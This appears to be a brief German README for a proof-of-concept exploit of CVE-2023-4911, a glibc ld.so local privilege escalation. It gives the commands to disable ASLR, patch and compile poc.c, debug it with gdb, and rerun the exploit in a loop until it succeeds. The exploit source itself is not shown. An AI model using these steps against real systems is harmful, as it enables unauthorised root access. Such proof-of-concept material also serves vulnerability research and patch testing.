
https://www.qualys.com/2023/10/03/cve-2023-4911/looney-tunables-local-privilege-escalation-glibc-ld-so.txt
Proof-of-Concept
Entwickelt für:
Dockerfile enthalten.
ASLR deaktivieren
$ echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
Kompilieren mit NO_ASLR
$ python3 patch.py
$ gcc poc.c -o poc_debug -DNO_ASLR
gdbscript ausführen
gdb -ix gdbscript
$ python3 patch.py
$ gcc poc.c -o poc
./poc; while [ $? -ne 0 ]; do ./poc; done